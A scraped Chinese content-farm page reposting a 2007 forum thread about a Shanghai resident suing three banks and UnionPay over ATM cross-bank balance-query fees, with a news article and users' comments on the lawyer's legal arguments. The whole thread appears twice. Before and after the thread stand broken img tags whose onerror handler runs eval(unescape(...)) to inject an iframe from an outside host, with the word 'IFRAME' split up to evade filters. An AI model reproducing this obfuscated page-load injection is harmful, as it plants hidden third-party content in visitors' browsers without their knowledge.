【告银行】沪市民告xxx查询收费 【希望对法律感兴趣的朋友进来讨论】
[转贴 2010-06-21 19:57:21]
【告银行】沪市民告xxx查询收费 【希望对法律感兴趣的朋友进来讨论】
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
--------------------------------------------------------------------
告银行】沪市民告xxx查询收费 【希望对法律感兴趣的朋友进来讨论】
沪市民告xxx查询收费 律师称是官司而非作秀
« 于: 07/08/06 12:13 »
--------------------------------------------------------------------------------
每日经济新闻
上海市民邓维捷6月14日持建行龙卡在交行漕河泾支行的ATM机上操作时见余额减少，又至工行漕河泾支行ATM机查询，发现xxx余额继续减少。通过对账单，邓维捷得知被扣除的跨行查询费共计1.5元。
于是，一场持续已久的对于xxx跨行查询收费的争议，终于升级到官司。
上海市民邓维捷日前就xxx跨行查询收费状告建行、工行、交行及中国银联。代理此案的上海汇业律师事务所律师吴冬昨日向记者表示，邓维捷此举并非作秀，只是出于纯粹的赔偿要求。中国银联新闻发言人昨日表示，目前尚未收到法院诉状，以前也没有碰到过此类事件，无法作出任何表态。有关银行的相关负责人也如是表示。吴冬表示，他对胜诉银联和银行有把握。
吴冬称，虽然xxx跨行查询收费已有报道，但邓维捷并不知情。他说，问题关键是收费是否有法律依据，若没有依据，就是收1分钱也没有道理。按法律规定，一审应在6个月内审结。
一位银行人士昨日告诉记者，跨行查询收费是总行统一实施的，上海分行不便评论。银联曾解释，跨行查询收费是成本核算的结果，银联卡在内部核算上采用国内收费来弥补国外巨额成本投入的办法。相关人士认为，这种“以内养外”的做法对国内客户缺乏公平性，导致收费理由难以服众。
起诉银联银行的主要依据是《商业银行法》。根据《商业银行法》第五十条规定，商业银行办理业务，提供服务，按照规定收取手续费。收费项目和标准由国务院银行业监督管理机构(中国银监会)、中国人民银行根据职责分工，分别会同国务院价格主管部门制定。
吴冬：“查询收费4处不合法”
吴冬向记者列举了银行跨行查询收费行为的“不合法”之处。
“不正当竞争行为”
在《价格法》第十四条中，“相互串通，操纵市场价格，损害其他经营者或者消费者的合法权益”被列为“经营者不得有下列不正当价格行为”的xx。3家被告银行原本相互竞争，在跨行收费上相互串通，形成价格同盟。被告银联是3家被告银行总行等商业银行投资成立的，四被告相互串通、操纵价格，这是一种不正当竞争行为，违反了《价格法》，侵犯了原告和其他xxx用户的财产权益。
“没召开听证会涉嫌违法”
根据《价格法》第十八条及《商业银行服务价格管理暂行办法》第七条第二项的规定，xxx跨行查询收费属于实行政府指导价或者政府定价的范围。根据《价格法》规定，制定关系群众切身利益的公用事业价格、公益性服务价格、自然垄断经营的商品价格时应建立听证会制度。因此，4被告无权擅自制定并收取跨行查询手续费。
“违约行为”
xxx跨行查询收费的重要依据是“国际惯例”，但我国银行客户远远没有享受到国际水平的银行服务。在国外，与向客户收费配套的是优质安全服务和良好信誉。原告在办卡时，建行就宣称xxx不论是跨行查询还是本行查询均为免费，建行也从未告知或者提醒过原告在将来有可能要收取xxx跨行查询收费，被告在未通知原告和未与原告协商也未经原告同意的情况下，突然擅自对原告收取跨行查询手续费，显然是一种违约行为。
“内部规定不是收费依据”
2007年10月颁布的《商业银行服务价格管理暂行办法》被众银行频频引用，成为收费的有力依据，但该办法不能证明该种收费的合法性。跨行查询是否准许收费及收多少，应由中国银监会或央行会同国务院价格主管部门来制定。
大家叫我【小H】好了。。。
--------------------------------------------------------------------
QUOTE:
原帖由 his 于 2007-8-15 12:36 发表
“违约行为”
xxx跨行查询收费的重要依据是“国际惯例”，但我国银行客户远远没有享受到国际水平的银行服务。在国外，与向客户收费配套的是优质安全服务和良好信誉。原告在办卡时，建行就宣称xxx不论是跨行查询还是本行查询均为免费，建行也从未告知或者提醒过原告在将来有可能要收取xxx跨行查询收费，被告在未通知原告和未与原告协商也未经原告同意的情况下，突然擅自对原告收取跨行查询手续费，显然是一种违约行为。
恩。。这点同意，银行要收跨行查询费，至少要电话通知或者信件通知持卡人，一方在没有通知持卡人的情况下，就擅自收费，明显不对。。。虽然社会上都讨论的开了锅了，但都不是正式通知。。。。
大家叫我【小H】好了。。。
--------------------------------------------------------------------
QUOTE:
原帖由 his 于 2007-8-15 12:36 发表
“内部规定不是收费依据”
2007年10月颁布的《商业银行服务价格管理暂行办法》被众银行频频引用，成为收费的有力依据，但该办法不能证明该种收费的合法性。跨行查询是否准许收费及收多少，应由中国银监会或央行会同国务院价格主管部门来制定。
这点不同意。。。。持卡人用银行的卡片，银行增加服务费，应该由银行自己决定，为什么要由银监会和央行，或者国务院莱制定？？？ 就象银行收取借记卡的年费一样，我的卡片就是这种收费标准，你觉得高，你可以不用啊。。没人逼着你用啊。。。。。这是靠市场调节的啊。。。。
--------------------------------------------------------------------
QUOTE:
原帖由 his 于 2007-8-15 12:36 发表
“不正当竞争行为”
在《价格法》第十四条中，“相互串通，操纵市场价格，损害其他经营者或者消费者的合法权益”被列为“经营者不得有下列不正当价格行为”的xx。3家被告银行原本相互竞争，在跨行收费上相互串通，形成价格同盟。被告银联是3家被告银行总行等商业银行投资成立的，四被告相互串通、操纵价格，这是一种不正当竞争行为，违反了《价格法》，侵犯了原告和其他xxx用户的财产权益。
这个有可能吧。。。。。我想知道的是，如果银行的确违反了价格法，那么应该怎么对其进行处罚呢。。。取消收费规定？？？退还所有已收费用？
是不是不告，费用就不会被退回来？
--------------------------------------------------------------------
字号 7pt 8pt 9pt 10pt 12pt 15pt 18pt 20pt 25pt 30pt
“没召开听证会涉嫌违法”
根据《价格法》第十八条及《商业银行服务价格管理暂行办法》第七条第二项的规定，xxx跨行查询收费属于实行政府指导价或者政府定价的范围。根据《价格法》规定，制定关系群众切身利益的公用事业价格、公益性服务价格、自然垄断经营的商品价格时应建立听证会制度。因此，4被告无权擅自制定并收取跨行查询手续费。
竟然还有这种规定。。。厉害啊。。
不过请问，电价上涨是否举行听证会了？
--------------------------------------------------------------------
lz走错地方了。。。
--------------------------------------------------------------------
QUOTE:原帖由 validonly 于 2007-8-21 11:04 发表
lz走错地方了。。。 这种问题应该发在哪里啊？
--------------------------------------------------------------------
定。。。。。。。。
--------------------------------------------------------------------
lz的帖子和lz的ID关系真密切，ID是history，帖子是historic。很久以前的事情了。去最上面两个版面看看。
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
--------------------------------------------------------------------
告银行】沪市民告xxx查询收费 【希望对法律感兴趣的朋友进来讨论】
沪市民告xxx查询收费 律师称是官司而非作秀
« 于: 07/08/06 12:13 »
--------------------------------------------------------------------------------
每日经济新闻
上海市民邓维捷6月14日持建行龙卡在交行漕河泾支行的ATM机上操作时见余额减少，又至工行漕河泾支行ATM机查询，发现xxx余额继续减少。通过对账单，邓维捷得知被扣除的跨行查询费共计1.5元。
于是，一场持续已久的对于xxx跨行查询收费的争议，终于升级到官司。
上海市民邓维捷日前就xxx跨行查询收费状告建行、工行、交行及中国银联。代理此案的上海汇业律师事务所律师吴冬昨日向记者表示，邓维捷此举并非作秀，只是出于纯粹的赔偿要求。中国银联新闻发言人昨日表示，目前尚未收到法院诉状，以前也没有碰到过此类事件，无法作出任何表态。有关银行的相关负责人也如是表示。吴冬表示，他对胜诉银联和银行有把握。
吴冬称，虽然xxx跨行查询收费已有报道，但邓维捷并不知情。他说，问题关键是收费是否有法律依据，若没有依据，就是收1分钱也没有道理。按法律规定，一审应在6个月内审结。
一位银行人士昨日告诉记者，跨行查询收费是总行统一实施的，上海分行不便评论。银联曾解释，跨行查询收费是成本核算的结果，银联卡在内部核算上采用国内收费来弥补国外巨额成本投入的办法。相关人士认为，这种“以内养外”的做法对国内客户缺乏公平性，导致收费理由难以服众。
起诉银联银行的主要依据是《商业银行法》。根据《商业银行法》第五十条规定，商业银行办理业务，提供服务，按照规定收取手续费。收费项目和标准由国务院银行业监督管理机构(中国银监会)、中国人民银行根据职责分工，分别会同国务院价格主管部门制定。
吴冬：“查询收费4处不合法”
吴冬向记者列举了银行跨行查询收费行为的“不合法”之处。
“不正当竞争行为”
在《价格法》第十四条中，“相互串通，操纵市场价格，损害其他经营者或者消费者的合法权益”被列为“经营者不得有下列不正当价格行为”的xx。3家被告银行原本相互竞争，在跨行收费上相互串通，形成价格同盟。被告银联是3家被告银行总行等商业银行投资成立的，四被告相互串通、操纵价格，这是一种不正当竞争行为，违反了《价格法》，侵犯了原告和其他xxx用户的财产权益。
“没召开听证会涉嫌违法”
根据《价格法》第十八条及《商业银行服务价格管理暂行办法》第七条第二项的规定，xxx跨行查询收费属于实行政府指导价或者政府定价的范围。根据《价格法》规定，制定关系群众切身利益的公用事业价格、公益性服务价格、自然垄断经营的商品价格时应建立听证会制度。因此，4被告无权擅自制定并收取跨行查询手续费。
“违约行为”
xxx跨行查询收费的重要依据是“国际惯例”，但我国银行客户远远没有享受到国际水平的银行服务。在国外，与向客户收费配套的是优质安全服务和良好信誉。原告在办卡时，建行就宣称xxx不论是跨行查询还是本行查询均为免费，建行也从未告知或者提醒过原告在将来有可能要收取xxx跨行查询收费，被告在未通知原告和未与原告协商也未经原告同意的情况下，突然擅自对原告收取跨行查询手续费，显然是一种违约行为。
“内部规定不是收费依据”
2007年10月颁布的《商业银行服务价格管理暂行办法》被众银行频频引用，成为收费的有力依据，但该办法不能证明该种收费的合法性。跨行查询是否准许收费及收多少，应由中国银监会或央行会同国务院价格主管部门来制定。
大家叫我【小H】好了。。。
--------------------------------------------------------------------
QUOTE:
原帖由 his 于 2007-8-15 12:36 发表
“违约行为”
xxx跨行查询收费的重要依据是“国际惯例”，但我国银行客户远远没有享受到国际水平的银行服务。在国外，与向客户收费配套的是优质安全服务和良好信誉。原告在办卡时，建行就宣称xxx不论是跨行查询还是本行查询均为免费，建行也从未告知或者提醒过原告在将来有可能要收取xxx跨行查询收费，被告在未通知原告和未与原告协商也未经原告同意的情况下，突然擅自对原告收取跨行查询手续费，显然是一种违约行为。
恩。。这点同意，银行要收跨行查询费，至少要电话通知或者信件通知持卡人，一方在没有通知持卡人的情况下，就擅自收费，明显不对。。。虽然社会上都讨论的开了锅了，但都不是正式通知。。。。
大家叫我【小H】好了。。。
--------------------------------------------------------------------
QUOTE:
原帖由 his 于 2007-8-15 12:36 发表
“内部规定不是收费依据”
2007年10月颁布的《商业银行服务价格管理暂行办法》被众银行频频引用，成为收费的有力依据，但该办法不能证明该种收费的合法性。跨行查询是否准许收费及收多少，应由中国银监会或央行会同国务院价格主管部门来制定。
这点不同意。。。。持卡人用银行的卡片，银行增加服务费，应该由银行自己决定，为什么要由银监会和央行，或者国务院莱制定？？？ 就象银行收取借记卡的年费一样，我的卡片就是这种收费标准，你觉得高，你可以不用啊。。没人逼着你用啊。。。。。这是靠市场调节的啊。。。。
--------------------------------------------------------------------
QUOTE:
原帖由 his 于 2007-8-15 12:36 发表
“不正当竞争行为”
在《价格法》第十四条中，“相互串通，操纵市场价格，损害其他经营者或者消费者的合法权益”被列为“经营者不得有下列不正当价格行为”的xx。3家被告银行原本相互竞争，在跨行收费上相互串通，形成价格同盟。被告银联是3家被告银行总行等商业银行投资成立的，四被告相互串通、操纵价格，这是一种不正当竞争行为，违反了《价格法》，侵犯了原告和其他xxx用户的财产权益。
这个有可能吧。。。。。我想知道的是，如果银行的确违反了价格法，那么应该怎么对其进行处罚呢。。。取消收费规定？？？退还所有已收费用？
是不是不告，费用就不会被退回来？
--------------------------------------------------------------------
字号 7pt 8pt 9pt 10pt 12pt 15pt 18pt 20pt 25pt 30pt
“没召开听证会涉嫌违法”
根据《价格法》第十八条及《商业银行服务价格管理暂行办法》第七条第二项的规定，xxx跨行查询收费属于实行政府指导价或者政府定价的范围。根据《价格法》规定，制定关系群众切身利益的公用事业价格、公益性服务价格、自然垄断经营的商品价格时应建立听证会制度。因此，4被告无权擅自制定并收取跨行查询手续费。
竟然还有这种规定。。。厉害啊。。
不过请问，电价上涨是否举行听证会了？
--------------------------------------------------------------------
lz走错地方了。。。
--------------------------------------------------------------------
QUOTE:原帖由 validonly 于 2007-8-21 11:04 发表
lz走错地方了。。。 这种问题应该发在哪里啊？
--------------------------------------------------------------------
定。。。。。。。。
--------------------------------------------------------------------
lz的帖子和lz的ID关系真密切，ID是history，帖子是historic。很久以前的事情了。去最上面两个版面看看。
郑重声明：资讯 【【告银行】沪市民告xxx查询收费【希望对法律感兴趣的朋友进来讨论 ...】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
